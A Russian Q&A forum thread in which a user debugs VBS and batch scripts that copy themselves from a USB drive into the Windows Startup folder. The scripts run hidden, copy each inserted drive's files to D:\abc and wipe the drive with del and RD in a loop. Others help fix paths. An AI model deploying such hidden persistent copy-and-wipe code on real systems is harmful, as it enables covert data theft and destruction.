Как запустить 2 vbs скрипта?

Question

[Павел]

почему не запускается vbs файл из другого vbs?
Мне надо по очереди запустить 2 файла set.bat и WshShell.vbs

сам скрипт выглядит так (WshShell.vbs):

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "set.bat" & min & Chr(34), 0
WshShell.Run chr(34) & "C:\Users\pavel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WshShell.vbs" & min & Chr(34), 0
Set WshShell = Nothing

с первым проблем нет, а вот второй файл не хочет нив какую , пробовал путь так делать:

"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WshShell.vbs"

как задать полный путь для выполнения vbs файла?

Answer 1

[res2001]

Что в переменной min?
vbs запускайте через cscript/wscript, т.е.
cscript.exe C:\Users\pavel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WshShell.vbs
Проблем с путями у вас нет, должны работать оба варианта.

Comments

[Павел]

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "set.bat" & Chr(34), 0
WScript "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\WshShell.vbs"
Set WshShell = Nothing

вот так например выдает: Обьект не поддерживает это свойство или метод: 'WScript'
с cscript.exe , тоже выдает ошибку.
переменная min была лишней , убрал ее .

[res2001]

mrusklon, вы не так меня поняли, полная строка:

WshShell.Run cscript.exe & " " & chr(34) & "C:\Users\pavel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WshShell.vbs" & Chr(34), 0

[Павел]

res2001, станно но

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "set.bat" & Chr(34), 0
WshShell.Run cscript.exe & " " & chr(34) & "C:\Users\pavel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WshShell.vbs" & Chr(34), 0
Set WshShell = Nothing

[res2001]

mrusklon, а ну да, строка же, 100 лет уже ВБС в руки не брал:

WshShell.Run "cscript.exe" & " " & chr(34) & "C:\Users\pavel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WshShell.vbs" & Chr(34), 0

[Павел]

res2001, теперь ошибок нет, но нечего не отрабатывает))

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "set.bat" & Chr(34), 0
WshShell.Run "cscript.exe" & " " & chr(34) & "C:\Users\pavel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WshShell.vbs" & Chr(34), 0
Set WshShell = Nothing

3 строка запускает bat файл который копирует файлы с одной папки в другую, если запустить его вручную то все срабатывает как положено , есть какой нибудь способ отследить в чем косяк?

[res2001]

mrusklon, Способ один - смотреть какие ошибки, сопоставлять с кодом и что-то менять.
Если есть ошибки, то давайте их сюда, если нет - давайте код вашего vbs.
И поясните как вы запускаете "в ручную" и как не вручную. Под одним пользователем это происходит или нет.

[Павел]

res2001, спасибо за помощь , постараюсь максимально подробно описать, задача такая:
есть usb диск (в нашем случае диск Е) , нужно скачать с него все файлы в папку авто запуска и запустить оттуда vbs скрипт (который находится уже в папке авто запуска после копирования с флешки) , далее уже скопированный скрипт запускает bat файл который тоже копировался в невидимом режиме который в свою очередь копирует все файлы на диск D в папку abc , после копирования затирает все содержимое Е диска , там еще есть условие если на диске Е есть файл not.txt то нечего не копировать и не удалять файлы.

Все вышеперечисленное уже работает но по сути только после перезагрузки ПК когда скопированный скрипт запустится из папки автозагрузки , а мне бы хотелось его запустить вместе с операцией копирования с флешки.

1.vbs (находится Е диске/флешке)

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "set.bat" & Chr(34), 0
WshShell.Run "cscript.exe" & " " & chr(34) & "C:\Users\pavel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WshShell.vbs" & Chr(34), 0
Set WshShell = Nothing

1.vbs запускает сперва send.bat :

setlocal
set FlashLetter=%~d0
xcopy "FlashLetter\*.*" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\" /H /Y /C /R /S 
pause

содержимое папки FlashLetter это 2 файла WshShell.vbs и папка run , в папке delUSB.bat

WshShell.vbs:

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "run\delUSB.bat" & Chr(34), 0
Set WshShell = Nothing

и delUSB.bat :

@Echo off
:start
:: буква диска или флешки которую убиваем
set mesto=E:
:: название файла защитника
set newer=not.txt



if exist "%mesto%\%newer%" (
    goto :end
) else (
    goto :ybivaem
)
:ybivaem
c:
chdir %mesto%\
xcopy %mesto%\* D:\abc /H /Y /C /R /S 
del %mesto%\ /Q 
RD %mesto%\ /Q /S 

timeout /t 10 
goto :start
:end
timeout /t 10
goto :start
pause

Все файлы запускаются с одного пользователя в моем случае админа , в принципе ко всем пользователям было бы лучше но это мне кажется будет лишней работой с UAC и прочими костылями.

vbs скрипты используются только для включения bat файлов в скрытом режиме , может есть способ проще? Я пока о таком не знаю.

[res2001]

mrusklon, Для скрытия окна приложения это, видимо, самый простой способ.
Не очень понял на каком этапе у вас не работает? Не срабатывает автозапуск когда вставляете флэшку? Вообще автостарт с флэшки включен в винде?
Может не срабатывать при автостарте из-за того что текущий каталог для скриптов при автостарте может быть не тем, что вы думаете. А у вас повсеместно используются относительные пути.
Выход из положения - нужно указывать полные пути. Можно отталкиваться от каталога из которого запущен скрипт.
Пока отлаживайте уберите параметр скрытия окна, пусть окна показываются, и выведите из каждого скрипта текущий каталог, а дальше действуйте по результатам.
Вывести текущий каталог vbs можно с помощью WScript.Shell.CurrentDirectory
В батниках - cd без параметров.
Каталог из которого запущен скрипт:
в батниках - %~dp0
в vbs получить полное имя запущенного скрипта: WScript.ScriptFullName, а затем с помощью методов FSO взять оттуда только путь.
www.script-coding.com/WSH.html

[Павел]

res2001, не работает на этапе когда нужно запустить WshShell.vbs который запускает delUSB.bat , если его запустить вручную то все работает как часы , стало быть пути верные?
По сути когда я запускаю 1.vbs , он копирует файлы в папку автозагрузка , а оттуда надо запустить WshShell.vbs , он запускает delUSB.bat но этого не происходит , а какой параметр позволяет в "не скрытом" режиме просмотреть это все для поиска проблемы? Если с bat я еще кое как знаком , шел скрипта пример взял с просторов интернета

[h8nor]

нужно скачать с него все файлы в папку авто запуска и запустить оттуда vbs скрипт (который находится уже в папке авто запуска после копирования с флешки)

Очевидно, перед запуском требуется проверка на наличие файла. Дополнительно смотреть описание команд doevents и sleep.

[Павел]

Дѣаволъ, ну с проверкой это не столь важно, так как я могу сам посмотреть есть ли файл или нет, в будущем возможно, сейчас пока проблема почему не запускается сам скрипт , как включить видимый режим в vbs?

[h8nor]

mrusklon, ну, с проверкой как раз важно, потому что файл скрипта не успевает скопироваться. По отладке взял пару запросов из первых строк поисковика: раз и два.

[res2001]

mrusklon, Я тут не надолго выбыл из обсуждения, возвращаюсь.
За отображение окна отвечает второй параметр в методе Run, поставьте там вместо 0, 1.
По ссылке в предыдущем моем посте набор документации по WSH (это как раз то, что вы используете), там и метод Run описан и много едругое.